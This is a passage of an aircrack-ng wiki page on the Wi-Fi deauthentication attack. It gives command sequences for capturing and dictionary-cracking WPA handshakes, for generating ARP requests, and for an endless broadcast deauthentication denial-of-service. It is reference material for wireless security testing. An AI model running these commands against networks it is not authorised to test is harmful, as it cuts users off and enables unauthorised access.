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  • Recovering a hidden (not broadcasted) ESSID
  • Capturing WPA handshakes by forcing clients to reauthenticate
  • Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)

Of course, this attack is totally useless if there are no associated wireless clients.
It is usually more effective to target a specific station using the -c parameter.

WPA Handshake capture with an Atheros

airmon-ng start ath0
airodump-ng ath0 out 6  (switch to another console)
aireplay-ng -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0
(wait for a few seconds)
aircrack-ng -w /path/to/dictionary out.cap

ARP request generation with a Prism2 card

airmon-ng start wlan0
airodump-ng wlan0 out 6  (switch to another console)
aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0

After sending the five batches of deauthentication packets, we start listening for ARP requests with attack 3. The -h option is mandatory and has to be the MAC address of an associated client.

If the driver is wlan-ng, you should run the airmon-ng script (unless you know what to type) otherwise the card won't be correctly setup for injection.

Mass denial-of-service with a RT2500 card

airmon-ng start ra0
aireplay-ng -0 0 -a 00:13:10:30:24:9C ra0

With parameter 0, this attack will loop forever sending deauthentication packets to the broadcast address, thus preventing clients from staying connected. Sadly, the most up-to-date drivers and firmwares ignore deauthentications sent to broadcasts, so you need to send them directly to them using the -c option as described above.

deauthentication.1163949138.txt.gz · Last modified: 2007/01/26 19:19 (external edit)